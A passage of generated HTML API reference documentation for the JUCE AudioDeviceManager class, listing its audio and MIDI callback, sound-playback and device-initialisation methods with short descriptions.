class="separator:ac46693f5b78c06357b16bf5e95560605"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acf3977dcc83f22b7f51091d7ff7b8aff"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#acf3977dcc83f22b7f51091d7ff7b8aff">addAudioCallback</a> (<a class="el" href="classAudioIODeviceCallback.html">AudioIODeviceCallback</a> *newCallback)</td></tr> <tr class="memdesc:acf3977dcc83f22b7f51091d7ff7b8aff"><td class="mdescLeft">&#160;</td><td class="mdescRight">Registers an audio callback to be used. <a href="#acf3977dcc83f22b7f51091d7ff7b8aff"></a><br/></td></tr> <tr class="separator:acf3977dcc83f22b7f51091d7ff7b8aff"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af6d672043bfc5ca423ea0ca41b5ad2d1"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#af6d672043bfc5ca423ea0ca41b5ad2d1">removeAudioCallback</a> (<a class="el" href="classAudioIODeviceCallback.html">AudioIODeviceCallback</a> *callback)</td></tr> <tr class="memdesc:af6d672043bfc5ca423ea0ca41b5ad2d1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Deregisters a previously added callback. <a href="#af6d672043bfc5ca423ea0ca41b5ad2d1"></a><br/></td></tr> <tr class="separator:af6d672043bfc5ca423ea0ca41b5ad2d1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab7d067e2864f399a471b35cc83bf9a57"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ab7d067e2864f399a471b35cc83bf9a57">getCpuUsage</a> () const </td></tr> <tr class="memdesc:ab7d067e2864f399a471b35cc83bf9a57"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the average proportion of available CPU being spent inside the audio callbacks. <a href="#ab7d067e2864f399a471b35cc83bf9a57"></a><br/></td></tr> <tr class="separator:ab7d067e2864f399a471b35cc83bf9a57"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5c16cde5d7c4c49dd9b6d00cc17ba481"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a5c16cde5d7c4c49dd9b6d00cc17ba481">setMidiInputEnabled</a> (const <a class="el" href="classString.html">String</a> &amp;midiInputDeviceName, bool enabled)</td></tr> <tr class="memdesc:a5c16cde5d7c4c49dd9b6d00cc17ba481"><td class="mdescLeft">&#160;</td><td class="mdescRight">Enables or disables a midi input device. <a href="#a5c16cde5d7c4c49dd9b6d00cc17ba481"></a><br/></td></tr> <tr class="separator:a5c16cde5d7c4c49dd9b6d00cc17ba481"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a68824aadea468bbe6cd338c333fff715"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a68824aadea468bbe6cd338c333fff715">isMidiInputEnabled</a> (const <a class="el" href="classString.html">String</a> &amp;midiInputDeviceName) const </td></tr> <tr class="memdesc:a68824aadea468bbe6cd338c333fff715"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if a given midi input device is being used. <a href="#a68824aadea468bbe6cd338c333fff715"></a><br/></td></tr> <tr class="separator:a68824aadea468bbe6cd338c333fff715"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a31e11b7a8596530a87cfcf8e48b978d2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a31e11b7a8596530a87cfcf8e48b978d2">addMidiInputCallback</a> (const <a class="el" href="classString.html">String</a> &amp;midiInputDeviceName, <a class="el" href="classMidiInputCallback.html">MidiInputCallback</a> *callback)</td></tr> <tr class="memdesc:a31e11b7a8596530a87cfcf8e48b978d2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Registers a listener for callbacks when midi events arrive from a midi input. <a href="#a31e11b7a8596530a87cfcf8e48b978d2"></a><br/></td></tr> <tr class="separator:a31e11b7a8596530a87cfcf8e48b978d2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1338a65adb3849560847f99252adcbd2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a1338a65adb3849560847f99252adcbd2">removeMidiInputCallback</a> (const <a class="el" href="classString.html">String</a> &amp;midiInputDeviceName, <a class="el" href="classMidiInputCallback.html">MidiInputCallback</a> *callback)</td></tr> <tr class="memdesc:a1338a65adb3849560847f99252adcbd2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes a listener that was previously registered with <a class="el" href="classAudioDeviceManager.html#a31e11b7a8596530a87cfcf8e48b978d2" title="Registers a listener for callbacks when midi events arrive from a midi input.">addMidiInputCallback()</a>. <a href="#a1338a65adb3849560847f99252adcbd2"></a><br/></td></tr> <tr class="separator:a1338a65adb3849560847f99252adcbd2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a02d957a7dfc854c2de56278db62a171f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a02d957a7dfc854c2de56278db62a171f">setDefaultMidiOutput</a> (const <a class="el" href="classString.html">String</a> &amp;deviceName)</td></tr> <tr class="memdesc:a02d957a7dfc854c2de56278db62a171f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sets a midi output device to use as the default. <a href="#a02d957a7dfc854c2de56278db62a171f"></a><br/></td></tr> <tr class="separator:a02d957a7dfc854c2de56278db62a171f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad3796e84d5b112f78f8ffc02d7b9f8be"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classString.html">String</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ad3796e84d5b112f78f8ffc02d7b9f8be">getDefaultMidiOutputName</a> () const noexcept</td></tr> <tr class="memdesc:ad3796e84d5b112f78f8ffc02d7b9f8be"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the name of the default midi output. <a href="#ad3796e84d5b112f78f8ffc02d7b9f8be"></a><br/></td></tr> <tr class="separator:ad3796e84d5b112f78f8ffc02d7b9f8be"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4c3518c6e06fc752d065ff8dd4c9e4f1"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classMidiOutput.html">MidiOutput</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a4c3518c6e06fc752d065ff8dd4c9e4f1">getDefaultMidiOutput</a> () const noexcept</td></tr> <tr class="memdesc:a4c3518c6e06fc752d065ff8dd4c9e4f1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current default midi output device. <a href="#a4c3518c6e06fc752d065ff8dd4c9e4f1"></a><br/></td></tr> <tr class="separator:a4c3518c6e06fc752d065ff8dd4c9e4f1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a577475b3171c4d2cf8dbd7a6a48a02ca"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classOwnedArray.html">OwnedArray</a><br class="typebreak"/> &lt; <a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a> &gt; &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a577475b3171c4d2cf8dbd7a6a48a02ca">getAvailableDeviceTypes</a> ()</td></tr> <tr class="memdesc:a577475b3171c4d2cf8dbd7a6a48a02ca"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a list of the types of device supported. <a href="#a577475b3171c4d2cf8dbd7a6a48a02ca"></a><br/></td></tr> <tr class="separator:a577475b3171c4d2cf8dbd7a6a48a02ca"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad7d7e0e64926665b12b62a53082caecc"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ad7d7e0e64926665b12b62a53082caecc">createAudioDeviceTypes</a> (<a class="el" href="classOwnedArray.html">OwnedArray</a>&lt; <a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a> &gt; &amp;types)</td></tr> <tr class="memdesc:ad7d7e0e64926665b12b62a53082caecc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a list of available types. <a href="#ad7d7e0e64926665b12b62a53082caecc"></a><br/></td></tr> <tr class="separator:ad7d7e0e64926665b12b62a53082caecc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9516ba945a2de06438cb3bd30210b94f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a9516ba945a2de06438cb3bd30210b94f">addAudioDeviceType</a> (<a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a> *newDeviceType)</td></tr> <tr class="memdesc:a9516ba945a2de06438cb3bd30210b94f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds a new device type to the list of types. <a href="#a9516ba945a2de06438cb3bd30210b94f"></a><br/></td></tr> <tr class="separator:a9516ba945a2de06438cb3bd30210b94f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab32b74d9dda550d70d47c0cca76fdd25"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ab32b74d9dda550d70d47c0cca76fdd25">playTestSound</a> ()</td></tr> <tr class="memdesc:ab32b74d9dda550d70d47c0cca76fdd25"><td class="mdescLeft">&#160;</td><td class="mdescRight">Plays a beep through the current audio device. <a href="#ab32b74d9dda550d70d47c0cca76fdd25"></a><br/></td></tr> <tr class="separator:ab32b74d9dda550d70d47c0cca76fdd25"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acf86b6b24e3322a62c86e8152ffe8525"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#acf86b6b24e3322a62c86e8152ffe8525">playSound</a> (const <a class="el" href="classFile.html">File</a> &amp;file)</td></tr> <tr class="memdesc:acf86b6b24e3322a62c86e8152ffe8525"><td class="mdescLeft">&#160;</td><td class="mdescRight">Plays a sound from a file. <a href="#acf86b6b24e3322a62c86e8152ffe8525"></a><br/></td></tr> <tr class="separator:acf86b6b24e3322a62c86e8152ffe8525"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1e5c7d070824df5aedcd5d1d8d992d95"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a1e5c7d070824df5aedcd5d1d8d992d95">playSound</a> (const void *resourceData, size_t resourceSize)</td></tr> <tr class="memdesc:a1e5c7d070824df5aedcd5d1d8d992d95"><td class="mdescLeft">&#160;</td><td class="mdescRight">Convenient method to play sound from a JUCE resource. <a href="#a1e5c7d070824df5aedcd5d1d8d992d95"></a><br/></td></tr> <tr class="separator:a1e5c7d070824df5aedcd5d1d8d992d95"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad37d9539ea2788103311cc82b98a55ab"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ad37d9539ea2788103311cc82b98a55ab">playSound</a> (<a class="el" href="classAudioFormatReader.html">AudioFormatReader</a> *buffer, bool deleteWhenFinished=false)</td></tr> <tr class="memdesc:ad37d9539ea2788103311cc82b98a55ab"><td class="mdescLeft">&#160;</td><td class="mdescRight">Plays the sound from an audio format reader. <a href="#ad37d9539ea2788103311cc82b98a55ab"></a><br/></td></tr> <tr class="separator:ad37d9539ea2788103311cc82b98a55ab"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a95c538f3c4ea96a023a6dbf675f44bca"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a95c538f3c4ea96a023a6dbf675f44bca">playSound</a> (<a class="el" href="classPositionableAudioSource.html">PositionableAudioSource</a> *audioSource, bool deleteWhenFinished=false)</td></tr> <tr class="memdesc:a95c538f3c4ea96a023a6dbf675f44bca"><td class="mdescLeft">&#160;</td><td class="mdescRight">Plays the sound from a positionable audio source. <a href="#a95c538f3c4ea96a023a6dbf675f44bca"></a><br/></td></tr> <tr class="separator:a95c538f3c4ea96a023a6dbf675f44bca"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a194e9e962ca17fed3452d00b6f77504c"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a194e9e962ca17fed3452d00b6f77504c">playSound</a> (<a class="el" href="juce__AudioSampleBuffer_8h.html#a97a2916214efbd76c6b870f9c48efba0">AudioSampleBuffer</a> *buffer, bool deleteWhenFinished=false)</td></tr> <tr class="memdesc:a194e9e962ca17fed3452d00b6f77504c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Plays the sound from an audio sample buffer. <a href="#a194e9e962ca17fed3452d00b6f77504c"></a><br/></td></tr> <tr class="separator:a194e9e962ca17fed3452d00b6f77504c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6a351316f351119fc2a75b69913b4a69"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a6a351316f351119fc2a75b69913b4a69">enableInputLevelMeasurement</a> (bool enableMeasurement)</td></tr> <tr class="memdesc:a6a351316f351119fc2a75b69913b4a69"><td class="mdescLeft">&#160;</td><td class="mdescRight">Turns on level-measuring. <a href="#a6a351316f351119fc2a75b69913b4a69"></a><br/></td></tr> <tr class="separator:a6a351316f351119fc2a75b69913b4a69"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a350c5ba19ff07a66cc17caf01f191d89"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a350c5ba19ff07a66cc17caf01f191d89">getCurrentInputLevel</a> () const </td></tr> <tr class="memdesc:a350c5ba19ff07a66cc17caf01f191d89"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current input level. <a href="#a350c5ba19ff07a66cc17caf01f191d89"></a><br/></td></tr> <tr class="separator:a350c5ba19ff07a66cc17caf01f191d89"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1e92ccc57a94f20639bcdfa68b628dc5"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCriticalSection.html">CriticalSection</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a1e92ccc57a94f20639bcdfa68b628dc5">getAudioCallbackLock</a> () noexcept</td></tr> <tr class="memdesc:a1e92ccc57a94f20639bcdfa68b628dc5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the a lock that can be used to synchronise access to the audio callback. <a href="#a1e92ccc57a94f20639bcdfa68b628dc5"></a><br/></td></tr> <tr class="separator:a1e92ccc57a94f20639bcdfa68b628dc5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2bdc27c676c875645d4d77b1146dad24"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCriticalSection.html">CriticalSection</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a2bdc27c676c875645d4d77b1146dad24">getMidiCallbackLock</a> () noexcept</td></tr> <tr class="memdesc:a2bdc27c676c875645d4d77b1146dad24"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the a lock that can be used to synchronise access to the midi callback. <a href="#a2bdc27c676c875645d4d77b1146dad24"></a><br/></td></tr> <tr class="separator:a2bdc27c676c875645d4d77b1146dad24"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="inherit_header pub_methods_classChangeBroadcaster"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classChangeBroadcaster')"><img src="closed.png" alt="-"/>&#160;Public Member Functions inherited from <a class="el" href="classChangeBroadcaster.html">ChangeBroadcaster</a></td></tr> <tr class="memitem:a1c8ccfa186a47d58a05e7f1f1576c038 inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#a1c8ccfa186a47d58a05e7f1f1576c038">ChangeBroadcaster</a> () noexcept</td></tr> <tr class="memdesc:a1c8ccfa186a47d58a05e7f1f1576c038 inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an <a class="el" href="classChangeBroadcaster.html" title="Holds a list of ChangeListeners, and sends messages to them when instructed.">ChangeBroadcaster</a>. <a href="#a1c8ccfa186a47d58a05e7f1f1576c038"></a><br/></td></tr> <tr class="separator:a1c8ccfa186a47d58a05e7f1f1576c038 inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3b2f8465cc6c09c0583c8bdf56319742 inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">virtual&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#a3b2f8465cc6c09c0583c8bdf56319742">~ChangeBroadcaster</a> ()</td></tr> <tr class="memdesc:a3b2f8465cc6c09c0583c8bdf56319742 inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a3b2f8465cc6c09c0583c8bdf56319742"></a><br/></td></tr> <tr class="separator:a3b2f8465cc6c09c0583c8bdf56319742 inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad68416fe79a94cd5c99519bdea6c2a06 inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#ad68416fe79a94cd5c99519bdea6c2a06">addChangeListener</a> (<a class="el" href="classChangeListener.html">ChangeListener</a> *listener)</td></tr> <tr class="memdesc:ad68416fe79a94cd5c99519bdea6c2a06 inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Registers a listener to receive change callbacks from this broadcaster. <a href="#ad68416fe79a94cd5c99519bdea6c2a06"></a><br/></td></tr> <tr class="separator:ad68416fe79a94cd5c99519bdea6c2a06 inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae558a26c795278549a63e342bd5f1650 inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#ae558a26c795278549a63e342bd5f1650">removeChangeListener</a> (<a class="el" href="classChangeListener.html">ChangeListener</a> *listener)</td></tr> <tr class="memdesc:ae558a26c795278549a63e342bd5f1650 inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Unregisters a listener from the list. <a href="#ae558a26c795278549a63e342bd5f1650"></a><br/></td></tr> <tr class="separator:ae558a26c795278549a63e342bd5f1650 inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6b9c150078318d419debc82e6f22ce58 inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#a6b9c150078318d419debc82e6f22ce58">removeAllChangeListeners</a> ()</td></tr> <tr class="memdesc:a6b9c150078318d419debc82e6f22ce58 inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all listeners from the list. <a href="#a6b9c150078318d419debc82e6f22ce58"></a><br/></td></tr> <tr class="separator:a6b9c150078318d419debc82e6f22ce58 inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a10f01d1c0a7fde85355321985a682cbd inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#a10f01d1c0a7fde85355321985a682cbd">sendChangeMessage</a> ()</td></tr> <tr class="memdesc:a10f01d1c0a7fde85355321985a682cbd inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Causes an asynchronous change message to be sent to all the registered listeners. <a href="#a10f01d1c0a7fde85355321985a682cbd"></a><br/></td></tr> <tr class="separator:a10f01d1c0a7fde85355321985a682cbd inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5d16cd01b9af4bacb1716530af17f77b inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#a5d16cd01b9af4bacb1716530af17f77b">sendSynchronousChangeMessage</a> ()</td></tr> <tr class="memdesc:a5d16cd01b9af4bacb1716530af17f77b inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sends a synchronous change message to all the registered listeners. <a href="#a5d16cd01b9af4bacb1716530af17f77b"></a><br/></td></tr> <tr class="separator:a5d16cd01b9af4bacb1716530af17f77b inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a78f62ecd57a016f8ba7a6ce55454947d inherit pub_methods_classChangeBroadcaster"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classChangeBroadcaster.html#a78f62ecd57a016f8ba7a6ce55454947d">dispatchPendingMessages</a> ()</td></tr> <tr class="memdesc:a78f62ecd57a016f8ba7a6ce55454947d inherit pub_methods_classChangeBroadcaster"><td class="mdescLeft">&#160;</td><td class="mdescRight">If a change message has been sent but not yet dispatched, this will call <a class="el" href="classChangeBroadcaster.html#a5d16cd01b9af4bacb1716530af17f77b" title="Sends a synchronous change message to all the registered listeners.">sendSynchronousChangeMessage()</a> to make the callback immediately. <a href="#a78f62ecd57a016f8ba7a6ce55454947d"></a><br/></td></tr> <tr class="separator:a78f62ecd57a016f8ba7a6ce55454947d inherit pub_methods_classChangeBroadcaster"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>Manages the state of some audio and midi i/o devices. </p> <p>This class keeps tracks of a currently-selected audio device, through with which it continuously streams data from an audio callback, as well as one or more midi inputs.</p> <p>The idea is that your application will create one global instance of this object, and let it take care of creating and deleting specific types of audio devices internally. So when the device is changed, your callbacks will just keep running without having to worry about this.</p> <p>The manager can save and reload all of its device settings as XML, which makes it very easy for you to save and reload the audio setup of your application.</p> <p>And to make it easy to let the user change its settings, there's a component to do just that - the <a class="el" href="classAudioDeviceSelectorComponent.html" title="A component containing controls to let the user change the audio settings of an AudioDeviceManager ob...">AudioDeviceSelectorComponent</a> class, which contains a set of device selection/sample-rate/latency controls.</p> <p>To use an <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a>, create one, and use <a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44" title="Opens a set of audio devices ready for use.">initialise()</a> to set it up. Then call <a class="el" href="classAudioDeviceManager.html#acf3977dcc83f22b7f51091d7ff7b8aff" title="Registers an audio callback to be used.">addAudioCallback()</a> to register your audio callback with it, and use that to process your audio data.</p> <p>The manager also acts as a handy hub for incoming midi messages, allowing a listener to register for messages from either a specific midi device, or from whatever the current default midi input device is. The listener then doesn't have to worry about re-registering with different midi devices if they are changed or deleted.</p> <p>And yet another neat trick is that amount of CPU time being used is measured and available with the <a class="el" href="classAudioDeviceManager.html#ab7d067e2864f399a471b35cc83bf9a57" title="Returns the average proportion of available CPU being spent inside the audio callbacks.">getCpuUsage()</a> method.</p> <p>The <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a> is a <a class="el" href="classChangeBroadcaster.html" title="Holds a list of ChangeListeners, and sends messages to them when instructed.">ChangeBroadcaster</a>, and will send a change message to listeners whenever one of its settings is changed.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceSelectorComponent.html" title="A component containing controls to let the user change the audio settings of an AudioDeviceManager ob...">AudioDeviceSelectorComponent</a>, <a class="el" href="classAudioIODevice.html" title="Base class for an audio device with synchronised input and output channels.">AudioIODevice</a>, <a class="el" href="classAudioIODeviceType.html" title="Represents a type of audio driver, such as DirectSound, ASIO, CoreAudio, etc.">AudioIODeviceType</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="accab16a03e809121d56e8b272125f3ea"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">AudioDeviceManager::AudioDeviceManager </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Creates a default <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a>. </p> <p>Initially no audio device will be selected. You should call the <a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44" title="Opens a set of audio devices ready for use.">initialise()</a> method and register an audio callback with setAudioCallback() before it'll be able to actually make any noise. </p> </div> </div> <a class="anchor" id="aba2ff8bbc69b9434dfc90c3a7bc09d6a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">AudioDeviceManager::~AudioDeviceManager </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a4c6d8a76a270a6e4ca0537093f447b44"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> AudioDeviceManager::initialise </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numInputChannelsNeeded</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numOutputChannelsNeeded</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classXmlElement.html">XmlElement</a> *&#160;</td> <td class="paramname"><em>savedState</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>selectDefaultDeviceOnFailure</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>preferredDefaultDeviceName</em> = <code><a class="el" href="classString.html">String</a>()</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> *&#160;</td> <td class="paramname"><em>preferredSetupOptions</em> = <code>nullptr</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Opens a set of audio devices ready for use. </p> <p>This will attempt to open either a default audio device, or one that was previously saved as XML.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">numInputChannelsNeeded</td><td>the maximum number of input channels your app would like to use (the actual number of channels opened may be less than the number requested) </td></tr> <tr><td class="paramname">numOutputChannelsNeeded</td><td>the maximum number of output channels your app would like to use (the actual number of channels opened may be less than the number requested) </td></tr> <tr><td class="paramname">savedState</td><td>either a previously-saved state that was produced by <a class="el" href="classAudioDeviceManager.html#abb846b502125744f4ea04f06cde5d92c" title="Returns some XML representing the current state of the manager.">createStateXml()</a>, or nullptr if you want the manager to choose the best device to open. </td></tr> <tr><td class="paramname">selectDefaultDeviceOnFailure</td><td>if true, then if the device specified in the XML fails to open, then a default device will be used instead. If false, then on failure, no device is opened. </td></tr> <tr><td class="paramname">preferredDefaultDeviceName</td><td>if this is not empty, and there's a device with this name, then that will be used as the default device (assuming that there wasn't one specified in the XML). The string can actually be a simple wildcard, containing "*" and "?" characters </td></tr> <tr><td class="paramname">preferredSetupOptions</td><td>if this is non-null, the structure will be used as the set of preferred settings when opening the device. If you use this parameter, the preferredDefaultDeviceName field will be ignored</td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>an error message if anything went wrong, or an empty string if it worked ok. </dd></dl> <p>Referenced by <a class="el" href="classStandalonePluginHolder.html#a306a3e5f2e5e88aa658642a7eabd81c2">StandalonePluginHolder::reloadAudioDeviceState()</a>.</p> </div> </div> <a class="anchor" id="aed646db44c76466d8d0e288d56e50691"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> AudioDeviceManager::initialiseWithDefaultDevices </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numInputChannelsNeeded</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numOutputChannelsNeeded</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> 